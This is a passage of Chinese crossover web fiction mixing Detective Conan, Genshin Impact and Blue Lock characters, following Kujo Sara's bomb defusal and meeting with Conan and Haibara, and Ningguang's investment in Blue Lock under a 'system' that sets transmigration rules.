贝尔摩德哼笑,她讽刺道:“呵,琴酒,你的坏习惯又出现了啊?”
这确实算是琴酒的一个小习惯,但可惜了,对她来说不管用,毕竟她也了解琴酒。
琴酒:“……”
他默不作声。
“你见到了谁?”随即他又道。
贝尔摩德:“这与你无关。”
琴酒这个见到,实际上指的是“处理”。
就连她自己都能闻到身上淡淡的血腥味,就更别说一向灵敏的琴酒了。
从她一路走来看,血腥味还能留存那么久,那就只有一种可能——她杀了人并染上了不小面积的血。
可惜……全错。
伤口在她身上呢。
贝尔摩德敛眸,水绿色的眸子中波光流转。
“总归我已经处理好了。”她侧头靠上车窗,冷声说道。
这次行动并不是什么组织下达的任务,琴酒就是她拉来的一个司机,他其实什么都不知道,被动得很,所以这时候还不是任她编?
琴酒冷哼一声,却也没有多说什么。
“我们该走了。”贝尔摩德冷静地用空着的那只手打开了车窗。
随着车窗缓缓滑落,空气流通的瞬间,车厢内的沉闷气息被稀释。
接着,她缓缓地从怀中取出一个精致小巧的按钮。
当然,这并不是普通的按钮,而是操控着建筑中人们生死的遥控器。显然并不是贝尔摩德先前说的那样交给了琴酒,而是她一直贴身携带着。
微风轻轻地拂过她的面庞,如同安抚般温柔,却与贝尔摩德心中的烦躁形成鲜明对比。
贝尔摩德的手指轻轻按压在头上的伤口,那里还残留着刚才打斗的痕迹,痛感让她更加清醒。
与此同时,她的脑海中不由自主地浮现出了九条裟罗那先前无比傲慢的脸庞。
九条裟罗确实不是什么好骗的人,然而她贝尔摩德也绝非易于对付的对手。
“咔——!”
按钮被错开着解体。
贝尔摩德的眼神中闪烁着细碎的光芒,将手中没用了的遥控器扔掉。
在这场较量中,最后的胜利者是谁,尚未可知——!
而贝尔摩德和琴酒之间发生的事情,九条裟罗是不知道的,因为他现在正在勤勤恳恳地拆弹。
是的,拆弹。
贝尔摩德急着离开,而这些炸弹又不是能被别人知道的,能够处理的人自然就只有裟罗了。
“柯南君,你愿不愿意稍微发扬一下乐于助人的精神,帮我个小忙呢?”
裟罗一边手脚麻利地处理着手中的工作,一边头也不回地呼唤着。
对于他来说,虽然拆弹并不困难,但毕竟还是需要一定的专注和精力投入。他希望柯南能理解这一点,毕竟合作总是能事倍功半。
然而,身后却没有任何回应。
裟罗并不感到意外,他深知柯南的警惕性极高,甚至有时候到了草木皆兵的地步。
不过其实尾随他这件事,本身就充满了风险,而柯南对此却毫无警惕,这才是真正让他感到不解的地方。
是什么原因让柯南觉得,一个疑似黑衣组织的成员,会如此轻易地被他跟踪呢?
裟罗回忆起过去,却发现关于柯南的记忆已经变得模糊不清。
他只记得,柯南一开始好像就一直很莽,似乎是在月光事件之后,柯南才开始慢慢发生变化?
因为记忆太过模糊,他无法确定是那个事件还没有发生,还是说柯南已经在潜移默化中逐渐改变,只是还没有到谨慎的程度。
想到此,裟罗不由得叹了口气。
没办法,这段时间他一直全力以赴地,投身于对抗黑衣组织的战斗中,根本没有时间去深入了解柯南身上发生的事情。
不然按照他的性子,老早就把柯南这段时间经历的所有事情,都调查了个底朝天。
裟罗深呼吸一口气压下心中杂乱的思绪,就好像自言自语一般说:“这里的炸弹很多,我一个人确实有些问题。所以柯南,来帮帮忙吧?柯南?江户川柯南?”
依旧是一片寂静,仿佛在厂只有他一个人一样。
裟罗:彳亍口巴
此时裟罗的内心已经非常明确了
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,仅仅是大声呼唤“柯南”的名字,是无法让其主动出来的。偏偏他此时正在拆弹,实在无法停下正在进行中的动作去抓柯南。
于是裟罗眼珠子一转,故意叹口气道:“我不喜欢说第三次啊,工藤——”新一。
“啊——裟罗哥哥?你在这里做什么啊?”柯南一头冷汗地探头,岌岌可危地打断了那句话。
工藤什么一?
工藤新什么?
什么藤新一?
工什么新一?
不是,他怎么感觉遇到的每一个人,都知道他的身份啊?
先是灰原哀后是九条裟罗,这真的对劲吗?!
严重怀疑自己的身份以后也不保啊!
不过……能透过科学的角度察觉他的身份,果然也是黑衣组织的人吗?!
柯南眉头皱起,看着裟罗的眼神更加不对劲了。
裟罗终于搞定了这个炸弹,他都感觉自己的背部要被那火热的视线烧穿了。
想了想,他摸出手机将炸弹的位置发给柯南:“还有10个炸弹,我们一人一半吧。”
炸弹的数量总的来说还算可以,并不是几十个,就是位置分布太广,他一个人前前后后的奔波很麻烦不说,还可能被人发现。
没办法,这个满是大人物的会场,绝对不可能没有保镖存在。他这种在阴暗处忙碌的人,怎么看怎么危险不是吗?
所以不能被发现啊,这炸弹必须被悄无声息地处理掉才行。
而另一边,被半说破身份之后,柯南已经不在意裟罗为什么会知道他的联系方式了。
柯南思考道:“我知道了,不过在那之后,我们可以谈一下吗?”
目前来看裟罗没有恶意,那么他推测,裟罗很可能跟灰原哀是一样的情况。
也就是叛逃的状态。
既然如此,他就赌这一把了!
所有,或是一无所有!
裟罗边走边说:“可以,不如就定阿笠博士家吧?听说宫野小姐也在?”
速战速决,他忙得很。
如果不是为了得到回复,他现在已经不见踪影了。
柯南战术后仰:“……好。”
他有拒绝的权利吗?
他没有。
“那么具体的时间,就在结束后用手机联系吧,炸弹要紧。”裟罗点点头。
柯南也知道孰轻孰重,跟裟罗一人一边开始了努力。他们每解决掉一个炸弹,就会发一个消息,防止对方去同一个地方。
在两个半小时后,炸弹被全部拆除。
当柯南觉得自己终于能休息一下,放松一下紧绷的神经的时候,裟罗冒了出来。
他幸灾乐祸道:“诶呀呀,柯南君,你是不是忘记了跟小兰说一声?”
听到这话,柯南的表情瞬间变得一片空白。
在反应过来之后,他下意识地转身想要去找毛利兰。
“你小子,听人把话说完啊。”裟罗一把抓住柯南命运的后衣领,“你以为我为什么知道?她打电话到我这里来了,已经帮你跟她说过你跟我在一起了,放心吧。”
裟罗接过炸弹的残骸,松手的同时漫不经心道:“倒是你,过会儿别说漏嘴了。”
“我去收尾,小兰那里交给你。”
17.与柯学的交锋(1)
第二天早上7点46分。
阿笠博士家。
“灰原,真的没有一点印象吗?”
江户川柯南不死心地,又将九条裟罗的照片,摆在了灰原哀的面前。
那照片自然是先前的那张,很有氛围感的“偷拍照”了。
化名为灰原哀的宫野志保,终究还是没忍住地翻了一个白眼:“你不是第一次给我看了,我也不是第一次回答说没见过了。”
天知道自从江户川从毛利兰手中,拿到这九条裟罗的照片之后,几乎每天都要将照片放到她的面前。尤其是经过昨天的事情,确定九条裟罗知道“宫野志保的存在”之后,更是变本加厉了。
可是她没有见过九条裟罗这张脸就是事实,无论江户川问多少遍,她的回答都不会改变。
而且江户川到底为什么会觉得她见过九条裟罗啊?
要知道她在组织中的时候,绝大多数时间都是泡在实验室中。不仅如此,因为地位不同,她也没有见过多少组织中的人啊。
灰原这么想也这么问了。
“他说到你的时候,话语中的熟稔不是假的。”柯南放下手机,一脸严肃道。
灰原挑眉,却是给出了另一种说法:“那是他单方面?”
她不认识就是不认识,她又没有失忆,她能够肯定这件事。
“……”柯南抿唇:“确实有这种可能。”
他必须得承认这一点,可不知道为什么,他就是觉得两人相识。
灰原自然是看出了柯南流露出来的情绪,她叹了口气道:“哈……见一面再说吧,这样可以了吧,江户川君?”
她有什么办法?她就是个借住的人,还有求于别人,这时候她不退步谁退步?等着犟种工藤新一吗?那她觉得这辈子都没有机会了呢。
灰原:微笑:)
阿笠博士安抚道:“嘛嘛~”
“时间差不多了,我先上楼了。”灰原无声叹息,她主动移开视线,转移话题。
柯南点头:“好。”
这是他们之前就说好的,宫野志保的存在能藏就藏。在不知道九条裟罗底细的情况下,没有必要一开始就彻底暴露。
虽然,九条裟罗早就知道就是了。
但是,只要没有彻底暴露就好!
而在灰原哀上楼之后没一会儿,上午8点整,门铃声响起。
“叮咚——”
阿笠博士第一时间起身,想要去开门。
柯南提醒道:“博士!小心点!”
说着,他也迅速找了一个掩体,将表壳弹起对准大门口,做好随时可以发射麻醉针的准备。
阿笠博士点头。
一时间整个一楼大厅安静至极。
阿笠博士的脚程匀速,没多久就来到了大门口。
“叮咚——”
随着门铃又一次响起,他深呼吸一口气,将手搭在了门把手上。
唰——
大门猛地打开,露出九条裟罗那张人畜无害的脸。
他一手按着门铃收手,因为还拎着一个果篮,所以另一手才是抬起打招呼的状态。而这一番动作恰好使得他的两只手,都出现在了众人的视野之中。
柯南的视线在其身上不断扫视,很快就确定了裟罗这次不是为了将他们团灭才来的。
然而下一瞬,柯南就发现了不对劲。
九条裟罗的目光落在了二楼——!
柯南蓦地抬头。
然后就见灰原哀正呆呆地与九条裟罗对视。
他长长吐出一口浊气,这种时候、这种状态,有些事用不着说出来,就已经很明显了。
三十秒后,四人齐齐坐在了沙发上。
裟罗热情地自我介绍道:“三位好,我叫做九条裟罗,可以直接叫我裟罗。”
柯南眼角余光注视着灰原,见她没有开口的意思,主动接过话茬:“这位是阿笠博士。”
“裟罗君你好。”阿笠博士有些不习惯沉重的气氛,他摸摸后脑勺道。
裟罗双眼一亮:“嗯嗯你好你好,对了,我听说柯南的小道具都是阿笠博士做的。我有看过一些,真的是太厉害了!”
贯穿整部剧的武器库啊,如果可以的话,他也想要一点小道具啊。
“真的吗?”阿笠博士瞬间将刚刚的不安抛之脑后。
裟罗兴致勃勃:“当然,就比如说那个滑板,虽然因为容量有限跟不上汽车的速度,但是现在这样也已经很厉害了啊!”
为数不多的记忆中,全是柯南踩着滑板上天的画面。
他都不敢想他要是用上适配的道具,会有多么幸福。
区区上天,他要给琴酒一个大大的惊喜——!
阿笠博士眉头紧锁,他点头道:“容量有限这点确实令人头疼,我一直在考虑未来的升级方案——”
正如裟罗所言,滑板的大小大大限制了能安装的发动机体积。发动机已经小得可怜了,更别提还需要在其中塞入其他必要的设备。
因此,他打算在之后的计划中,率先从发动机的性能入手,尽可能地对其进行深度改装,以适应更加复杂的需求。
“博士!”柯南连忙打断他的话,表情既严肃又带着些许藏不住的焦急。
开玩笑,在继续这样下去,恐怕连他们最核心的秘密都会暴露无遗!
阿笠博士的思绪陡然一断,回过神后也发现自己一不留神说了很多。
他悻悻地缩了缩肩。
灰原哀冷静了下来,她道:“哈——让我们进入正题吧。”
柯南一顿,因为时间太急,所以他没能询问灰原见到裟罗之后,为什么会摆出那样一副让人不解的表情。
明明是没有变化的同一张脸,看照片不认识,看人就认识了?
灰原目移。
这要她怎么说呢?
一定要说的话,是一种气质,是一种氛围,是一种……直觉。
她的直觉很准的,所以她面前的这个人肯定就是——「雷电
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影」吧。
这个伪装,好像没有什么意义?
怎么感觉比她和江户川的伪装还要差劲?
得亏裟罗不知道灰原的想法,不然他现在真的要抱头痛哭了,明明在伊达航面前的表演非常到位啊,到底为什么一见到组织的人就会暴露?!
这不柯学啊——!
“正题?啊啊~确实该进入正题呢。”裟罗思考道。
这话一般都是他对别人说的,还真难得有人对他说。
这么想着,他做了一个请的姿势:“那么柯南君,你想要聊些什么呢?”
灰原猛地回头,什么意思,又是你先找碴的?!
柯南有些心虚,目不转睛地望着裟罗,他决定找个借口转移灰原的注意力,于是他一针见血道:“你是黑衣组织的人吗?”
“是也不是,不过黑衣组织……”裟罗哭笑不得:“其实很多□□都是穿着黑衣服啊,还有保镖公司也是。你光凭这个就喊人黑衣组织,那是不是以后见到穿黑衣服的都得这么问?”
灰原冷笑一声,不用以后,她与江户川初见之际,就发生过这种事情了。
柯南:……
这不是针对他的研讨会!
他深呼吸道:“为什么说是也不是?”
要么“是”要么“不是”,怎么还会有“或者”的选项啊?
“这就不是现在的你们该知道的了。”裟罗微笑,“继续下一个问题吧?”
柯南:“……”
“你站在哪一边?”他思考道:“又或者说,你会把工藤新一还活着的事情上报吗?”
裟罗看着灰原说:“不会。”
“不过你应该也知道,你现在是否存活这件事,对于组织来说尚且存疑。”他补充道。
灰原点头:“是的,他知道。”
这件事她一早就告诉过江户川。
“灰原?”柯南疑惑道,不是说好了提问都交给他吗?
灰原却是视而不见道:“你终究还是做到了这一步,后路都准备好了吗?自己离开还是被迫?”
柯南一愣,琢磨着这番话的同时,与阿笠博士一起将战场交给了灰原。
“我听不懂你在说什么。”裟罗避之不谈。
他觉得之前跟贝尔摩德就是说的太多了,才会暴露「雷电影」的身份,所以这一次选择了回答而不是提问。
以前是以前,现在是现在!
他已是钮钴禄·裟罗!
灰原闭眸:“……我知道了。”
“……那个人需要解药的话,可以找我,不过目前连半成品都没有。”她重新睁眼。
裟罗点头:“嗯~我会问问他的。”
别的不说,不管之后马甲是否能变得真实,解药还是需要的。
“我要说的到此为止,剩下的随便你们。”
说着,灰原就起身离开了,根本不顾柯南的阻止。
因为她的脑海中,充斥着曾经与「雷电影」交谈的画面。
18.与柯学的交锋(2)
回到自己房间中的灰原哀,整个人都摔在了床铺上的同时,将自己的脑袋埋进枕头中。
她与雷电影的初识,是在一个午夜。
彼时的她因研究陷入了瓶颈,正在天台吹风。
低头的刹那,恰好与回来拿装备的雷电影对视。
“雷电影……”宫野志保喃喃道。
在寒风中站立了许久,她的大脑在一片混沌中逐渐恢复了运转。当雷电影扫了她一眼,并转身离去后好长一段时间,她的大脑才像从沉睡中苏醒,终于想起了那个名字——最近在组织中声名鹊起的存在。
毕竟她也不是那种闭门造车的人,在某些阳光明媚的日子里,她也会随着姐姐一起走出房门,去感受外面的世界。
在这样的日子里,她偶尔就会从姐姐口中听到,关于组织里那些名声显赫的人物的事迹。
更别说雷电影,是在组织内部备受瞩目的新星了。
“什么事?”
“什么人?!”
身后传来一道声音,宫野志保猛地回身。
首先映入眼帘的是那一头随风轻舞的飘逸长发,如果不是那抹深邃的紫色,她几乎要错觉那是琴酒独有的特征。
她不禁心头一紧,甚至开始反思自己到底是从何时开始松懈。就算不是琴酒,组织中的人悄无声息地站在她身后,她却没有丝毫察觉。
这个发现让她感到一丝不安。
寒风中,宫野志保不自觉地抱住了自己,似乎那样就能给自己带来一丝温暖。
雷电影微微眯眼,却是重复道:“找我什么事?”
“……”宫野志保上下打量着雷电影,好半晌才开口:“不,没有什么。”
她冰蓝色的眼中闪过一丝暗芒:“不过,你是什么时候上来的?”
虽然确定了对方不是琴酒,这让她松了一口气,但是问题随之而来,她为什么没有发现?
因为曾经发生的一点事情,她对这个组织人的气息都会有感应才对啊,就算没有恶意也应该……
等等?没有恶意?甚至很平静?
这个组织的人?
发现自己在想什么之后,宫野志保的思维都停顿了,她怀胸的手一僵。
就连有人莫名站在她身后这件事,在意识到她居然觉得雷电影是个“好人”时,后退了一步。
没办法,这个想法真的太恐怖了。
组织里有好人?
不可能的,包括她在内都是刽子手罢了。
除非是卧底。
……也不可能吧?深受琴酒重视诶?
“刚刚。”
就在这时,雷电影突然开口。
宫野志保一愣,慢吞吞道:“什……什么?”
她刚刚好像又有些走神了,雷电影说什么?
“刚刚上来的。”雷电影重复道。
宫野志保确定自己没有听错之后,反而是陷入沉默。
不是?乖乖回答吗?
她以为会是“跟你有什么关系”、“滚”、“你想死吗”,又或者直接不搭理?
原本她都在思考,雷电影是否因为长时间的杀人行为,已经变得麻木不仁,以至于能够如此平静地面对一切。然而,现在的情况似乎并非如此,这让她的心中充满了疑惑。
不对劲,一定有什么地方不对劲。
这种未知的感觉就如同蚂蚁在心头爬行,让她坐立难安。
宫野志保迟疑:“原来如此……”
冷静,她觉得还是不能急于下结论,而是要再仔细观察一番,看看是否能够从中发现一些线索。
“那么你随意。”
说着,她转身就要走。
这天台是待不下去了,立刻走——!
“稍等,你们开发的产品,我是过来拿的。”雷电影上前一步,拦住了宫野志保。
宫野志保眉头一挑,所以这就是雷电影大半夜的,还出现在大厦楼下的原因?
也是,有研究人员帮忙的话,肯定更容易拿东西。
不过……那所谓的产品,是什么啊?
她一般来说都是进行药物研究的,有参加过什么武器开发吗?
宫野志保觉得雷电影很怪,但是选择保留意见。
因为第一印象还不错,所以她没有怀疑雷电影说的话。
“走吧。”宫野志保边回忆边回应。
然而直到一切结束,她都没有想起来。
毕竟。
她根本没有参与过嘛。
灰原哀从回忆中走出,喃喃道:“那借口真的很假……”
之后很久,她才终于确定雷电影当初就是觉得她冷了,所以找了个借口带她进楼里而已。
在那之后,她与雷电影之间的关系也好了些,并且他切实给了她一定灵感。
当然,那并不是与APTX-4869有关的研究。
毕竟在半成品出来之前,那是绝对保密的研究项目。她绝对不会用自己和姐姐的姓名,去赌雷电影的良心的。
更何况在组织中,又有多少有所谓的良心?
不过到最后,原来那家伙也是卧底啊,就是不知道到底是哪一方的,又是因为什么才被发现的了。
没想到当初一语成谶啊。
或许是难得的想起了过去没有血色,甚至称得上“温馨”的画面,灰原哀刚刚完全沉浸在了回忆之中。
——导致她完全没有注意,那没有关紧的房门后,正站着江户川柯南。
借口?
什么借口?
果然灰原和九条裟罗认识吗?
而且从之前的对视和现在的低喃推断,交情好像并不浅?
但为什么之前又说不认识?
他看得出来,灰原哀并没有说谎。
伪装……
不不不不,那张脸是真实的,昨天最后他确认了。至于在组织中,琴酒也不可能容忍有人带着人皮面具。
那到底是什么情况?
柯南百思不得其解。
与裟罗交谈之后,不属于这个时间段的知识量和问题,被大量地灌进脑内,柯南只感觉自己的脑子好像要炸了。
至于谜语人裟罗,他则是圆满抽身,吹着口哨离开了阿笠博士家。
系统抹抹不存在的眼泪:【哇啊,好可怜。】
【还好吧,其实不该说的我也没有说,更多的反而是用问题来应对了。】裟罗摸摸后脑勺,【当然,最后我们还是达成了一致的。】
【想必有主角光环的帮助,无论是什么,我们都能加快速度解决了。】
他已经用了8年的时间证明,没有主角光环的话是奈何不了组织的了。所以虽然很对不起柯南,但是他必须借用一下那珍贵的主角
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光环了。
嗯,不要命。
他要命做什么?命有主角光环有用?
系统点头:【嗯……我知道了,那么我过段时间再回来。】
【刚好凝光那边也到关键的节点了。】它补充道。
凝光那边也要涉足“主线”了,它于情于理都应该回去看看。
裟罗暗自揣摩着:【凝光?我可以问一下任务吗?】
开局每个人都会继承一项角色的能力,这样也便于扮演对方。他继承的是天狗的身体素质,加上【九条裟罗】本来的职业,所以他又毫不犹豫地投身于警察事业了。
【都一样啦,都是成为大人物。】系统耸肩,【不过你其实想问的,是他继承了什么<特性>吧?】
裟罗毫不忌讳,点头道:【嗯,那可以告诉我吗?】
【第一位宿主的特权哦~】系统冰冷的机械音起伏:【是看穿财富的能力。】
九条裟罗一脸茫然:【嗯?】
【怎么说呢,就是能知道投资什么更容易赚钱吧。】系统思考了一瞬,确定了自己应该怎么解释,
裟罗:【???】
什么?这不是作弊吗?!
可恶!有钱的话分分钟完成任务啊!
钱真是一个好东西!
他也想要啊!
【但是……这样的话,任务也很容易完成吧?】裟罗感觉到了一丝不对劲,他挑眉问道:【可你现在也只有两个宿主?】
任务不过是成为某个领域的大佬而已,凝光应该很容易就能够成为名噪一时的富翁才对?
系统提到这点也有些无奈,它叹气道:【啊……他那边的情况有点特殊,目前虽然是随时都可以完成,但是他表示要压一下热度。】
凝光并不满足于仅仅在全市、全国范围内享有首富的名号,他的雄心壮志是要攀登至全球首富的宝座。这种勃勃野心并非无益,事实上,一个有野心的灵魂往往能够成就非凡事业。
然而,有时候事情并非一帆风顺。凝光需要面对的一个大问题就是,他所在的世界,并不是一个对经济有着高度重视的世界。
更糟糕的是,这个世界观的特殊性意味着,即便经济体系崩溃,也不会对那个世界造成实质性的影响。只要这种崩溃没有触及到那个世界的“主线”,那么一切都将照旧,仿佛什么都没发生过。
就如同在这个世界中,连时间都显得那么诡异的情况一样。
那对于凝光的小任性,系统能怎么办呢?
都是它的宿主了,它当然只能选择接受咯。
裟罗的目光轻轻一转,有些心虚。
真是不好意思啊系统,他们这样的宿主,就是一群让人头疼的存在。
嗯,希望之后的宿主能让系统少操一点心啊。
【再见。】
【嗯,下次见。】 特性>
19.ooc的代价
“想回去的人,就回去吧……”
蓝色监狱的面试,台上的绘心甚八正滔滔不绝地发表自己的见解,台下的凝光却是打了个哈欠甚至想要睡下。
所以说,老师不对学生输出自己的观点是对的。
看看看看,一群未成年人心智都还不够成熟,就要被如此对待。虽然绘心甚八说的也有一定道理,可到底是太过残酷了。
都是国家的花朵啊,本来就是拔苗助长了,还那么压榨潜力,这样真的好吗?
凝光轻哼,虽然并不赞同绘心甚八的做法,但是也没有任何反驳。
毕竟他清楚的知道,这个世界的“主线”就是足球。
除去足球以外的所有东西,都无法动摇这个世界。哪怕是凝光直接让这个世界的经济崩溃,又或是杀死所有人也是一样的。
足球,是构建这个世界的基础,亦是这个世界的一切。
所以,他绝不会剥夺其他人的「可能性」。
【咦?宿主你已经到这一步了啊?】
脑内突然响起的声音,提醒凝光系统已经回来了。
凝光连忙收起大逆不道的想法,切换为扮演模式的同时关切道:【是啊。处理完上一任宿主的事情了?你没事吧?】
嘶——应该没有听到他之前的想法,没有看到他不扮演的样子吧?
他就是在心里想想而已,也没有谁规定一定要按照他人的想法行事吧?
更何况就是进入蓝色监狱的人,也有不少只是缺少一个平台,并没有全信绘心甚八。
【一半一半吧,趁着现在还有时间,我简单说明一下。】系统冷静地说着,表示自己会假装没看到。
毕竟——
它的宿主,它来宠!
凝光:…………?
不知道为什么,凝光总感觉系统出一趟远门回来,整只统都奇奇怪怪的了。
一定要说的话,那就是变油了。
啊这?!
难不成上一任宿主是个油腻的中年大叔?!
然后下一瞬,油腻大叔变身巨星男神——
【首先,应该是宿主你最关心的一点,之后你可以在一定程度上ooc了。】
系统上来就是一个大炸弹。
凝光一时间一个字都说不出来,整个人都被炸懵了,满脑子都是“还有这种好事”的想法。
【不过你毕竟是中途开始的,多少有些限制。】系统补充道:【最主要的是,你需要付出一些代价。】
就算是九条裟罗,也是一样的。
不过考虑到裟罗是它的第一位宿主,而且进度条还没有过半就离开了他。他作为老大没有得到什么好处,甚至这些年来过得也不好。
系统再三思考之后,终究是它没有给宿主们选择的权利,所以当初的一大部分副作用都被它吸收了,只需要裟罗付出一点儿小代价*。
由此,对凝光,它也会是同样的态度。
凝光如果想要ooc的权利,那么它支持。它主动拿走它需要付出的代价,而凝光也要承担相应的风险。
想要得到什么,就必须付出什么。
这天下没有免费的午餐!
身为系统,理应做一个榜样,绝不能让坏习惯带坏宿主——!
凝光没有被喜悦冲晕头脑,很是理智地问道:【什么代价?】
这次系统没有直接说出来,而是拟定了一个合同,用面板的方式摆在了凝光面前。
作为一个商人,多年与一群狡诈的老头儿打交道,凝光没少接触这些东西,几乎是下意识地想要挑刺儿。
然后就发现,好像没有什么刺可以挑?
啊这!
系统啊系统,他就说怎么出去一趟就这么好说话了呢,原来这么好骗吗?
不过也是,他是第二任宿主,上面那个是第一,人总是对第一个更特殊,系统也不例外。
真好啊,他要不要也试试帮之后的宿主争取一些福利?
虽然其实也没有什么可以争取的了,但是跟系统多聊聊也没有什么问题不是吗?
凝光边思考边在合同上按下手印。
而就在凝光与系统交谈之际,面试告一段落,整个空间就只剩下了凝光和绘心甚八两人。
“初次见面,没想到周先生这么年轻啊。”
绘心甚八摘下耳麦,主动走到凝光身边。
凝光应下了,这里没有别人,这个周先生当然是他。
【凝光】的姓氏,目前连系统都不能确定。虽说有“凝”这个姓,可后来又说“凝光”可能是名。
无论去哪里还是有个姓氏更加方便,于是为此凝光和系统展开了激烈的辩论。上至大众姓氏、中至复姓、下至小众姓氏,两个取名废差点儿连世界都没有进,就卡死在了这上面。
最后凝光思来想去,还是拍板用了自己前世的姓氏。
“绘心先生也很有魄力。”
凝光眼神一暗,不过他想了想,又露出一个标准化的微笑。
扛着相当大的压力,将全国的苗子都挖了过来。一旦出事,他隐退都是小事,对这个国家这个行业的打击,也是相当巨大的。
所以尽管他并不赞同绘心甚八的理念,却不会想着去改变他,也不会想着自己去打造一个足球队。
毕竟系统也说过,就算他打压,绘心甚八也一定会带着蓝色监狱出现在全世界的面前,到时候指不定他就成为了大反派了。
这实在没有必要,他不打算走反派的路线。
“这也是多亏了您的投资。无论是我,还是这些孩子,都不会让您失望的。”绘心甚八也是谦虚道。
是的没错。
种种考量过后,凝光选择了投资绘心甚八。
凝光点头,财大气粗道:“钱不是问题,全部顶配。”
他对绘心甚八那么了解,多亏了前世的动漫。不过那只是一个参考,他并不会把其奉为真理。
这次的投资也是,都是谨慎观望之后才做出的决定。
可有一些是不会变的,就好比蓝色监狱的制度。于是他后期又投资了一笔钱,确保钱多到能让每一个好苗子都茁壮成长,最后又反馈给他赚钱。
而只要与足球相关,那么才算是正式进入了这个世界众人的眼。
“放心。”绘心甚八推了推眼镜。
他的目标远大而明确,那就是要振兴本国的足球业,赋予它新的活力与希望,而非简单地对这群青少年进行挫败和打压教育。
作为一名富有经验的教练,他很清楚,后者永远只是达成目的的一种手段,不应该是什么目的本身。
凝光点头,漫不经心道:“那么我也进去了,有问题可以直接联系。”
他说的“问题”,自然是那些不敢于改革的高层老头子。如果是原著绘心甚八也就算了,可现在站在绘心甚八身后的人是他——凝光。
他绝不容许有人踩在他的头上——!
最后,凝光想起了什么似的又开口了。
“对了,不必用敬称,毕竟我年龄更小不是吗?”
绘心甚八又是推推眼镜,这次却是什么都没有说。
因为他已经确定,凝光看出他的想法了。
众所周知,凝光,他比起“周先生”,更喜“凝光先生”。而他作为被投资者,又怎么可能不知道这件事?
所以绘心甚八他是故意的,也是有些怨怼的。
理由……其实很简单,这蓝色监狱不是他的一言堂了。
尽管很感激凝光的投资解了燃眉之急,可外人的介入,却是可能会打乱他的计划。
又看到凝光的年纪尚小,他一下子话没过脑子,便刺了对方一句。
想来凝光一早就明白了,不然也不会在对话的最后才说那句话了,前面可有好几次机会可以说的。
不喜被称作“周先生”的凝光表示,真的不是他不喜欢。那是他前世的姓氏啊,他怎么会不
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喜欢呢?
无他,是因为扮演度不喜欢啊。每次喊这些都会显示ooc,他有什么办法?
现在凝光确实是不需要在意会不会ooc了,然而这已经成了他的习惯,所以一下子就发现了绘心甚八的“恶意”。
“呵呵。”
换上特质衣服的凝光冷笑一声,绘心甚八似乎见他年幼,下意识地小看了他?
也是,谁让他刚刚忽悠了一批愣头青呢?一见他与那群愣头青年岁相差无几,会那么做也是很合理的。
可惜,撞上了硬墙。
压下脑中思绪,凝光转头看向了系师凛。
看过动漫的他当然知道洁世一才是那个主角,可是目前,不可否认还是系师凛更能为他赚钱。
就是不知道在后期的漫画中,系师凛的情况如何了。索性这里的好苗子确实很多,随便谁包装一下都可以为他赚钱,他绝对不会亏本。
尤其是他没有记错的话,这里还有一个御影家的少爷。
凝光边回忆,边跟着大众来到了初试现场。
初试是一场小小的游戏,说是鬼抓人的游戏,可更像是足球版本的躲避球——在游戏时间结束时被足球踢到的人将出局。
也就是说,这场游戏只会淘汰一人。
凝光的体能不算差,可他不打算争霸全场,于是低调地躲进了人群之中。
反正只要最后不被踢到就可以了。
抱着这样的想法,凝光只是观察着在场的众人。
之前就说了,凝光不会把动漫奉为真理,他现在正在找寻动漫中没有出现过的人才。
然而简单观察过后,凝光发现除去系师凛和时光青志之外,居然真的没有人能行。
“啧。”凝光暗骂一声。
不是他的标准太高,实在是没有能跟得上第一梯队步伐的人。其他人各有优点,可天赋有限努力不足。
就算他真的强捧那些人到不属于自己的高度,最后也只会狠狠坠落,落得个满身是伤。
凝光低喃:“算了,等第一次选拔时再看看。”
这毕竟只是一个小游戏,就连爆种这种技能都不会有人使用,他在期待什么?
浪里淘金也不是这么淘的,凝光叹气。
“你……”
就在这时,一道困惑的声音在凝光身边响起。
回头一看,竟然是系师凛。
“有什么事吗?”
凝光微笑道。
面对自己的摇钱树,他还是很和善的。
系师凛没想到会得到回应,看了闪闪发光、一看就与这里格格不入的凝光一眼后,果断远离了他。
只一眼就清楚了,凝光和他们不是一个世界的人。
这里的大多人或是为了爱好、或是为了钱财、或是为了前路,又或是为了……
虽然每个人都是有求而来,但是总的来说,他们都是为了足球而来的。而凝光身上的气质却明晃晃地告诉了所有人,他与他们不一样。
更何况刚才,他还听到了选拔这样的字眼,这些无一不在说明凝光的特殊。
这样的人,在不清楚情况下,就算有能力,也还是别接近为好。
系师凛很快就做出了决定。
凝光对此一无所知,甚至有些莫名其妙。还是系统看不下去了,提醒了之后才反应了过来。
系统:【代价。】
凝光:【!!!】
【等等?不是?难不成?】
系统叹气:【是的没错,宿主的代价——越不想要的东西,就越会拥有。】
凝光越是想要低调,那就越是低调不起来。只要他不离开这蓝色监狱,他就会成为最瞩目的存在。
如果不是这个世界的主线是“足球”,一旦凝光离开蓝色监狱,见过凝光模样的人立刻就会认出他就是首富,从而完成任务。
凝光抓狂:【啊啊啊啊啊啊——!】
【杀了我!就现在!】
20.第一次选拔赛(1)
第一场游戏过后,凝光首先去了自己专属的一个房间。
虽然为了避免暴露自身的特殊,他是跟选手们睡在一起的,但是他也需要处理工作啊。
——大老板不是那么好当的。
于是这个办公间,便应运而生。
其实不仅是工作,凝光还觉得自己需要整理一下思绪。
无他,那个代价过于出乎意料了。
天知道凝光原以为会是钱呢,没办法谁让现在他的钱越多,就越容易完成任务呢。
结果真是万万没想到啊——!
这种说不清道不明的代价真是……想当一言难尽啊!所以他接下来该怎么做呢?
蓝色监狱前期,总共有一次小游戏和三次选拔赛。而凝光原本是打算,在第一次选拔结束的时候走人的,毕竟多他一个就会多走一个原本可能留下的选手。
第一场热身的小游戏也就算了,正式选拔开始可是很严肃的。
他又不是只有这一个平台,以后必须要成为运动员。他还有很多的后手,实在没必要跟一群孩子抢。
“哈——”
凝光心头思绪万千,只是长长吐出一口浊气。
系统笑嘻嘻道:【想好了吗?需不需要系统帮帮忙?】
【不用投骰子了,已经想好了。】凝光摆手。
绝大多数时候,系统是不能提供实质帮助的。按照它说的,就是全靠它的话,那么宿主到底是系统的傀儡,还是一个有着人格的人。
——确实很有道理。
于是系统提供的帮助,就变成了投骰子,投到什么就怂恿凝光做什么。
裟罗:谢邀,果然没有危险的时候,系统就是最危险的。
至于凝光是个什么态度……他都是先听不听看投出来的结论能不能让他心动的,如果不能,那就说明他更心水别的选择。
就这样,两人也是跌跌撞撞地在这个世界创出了一片天。
创。
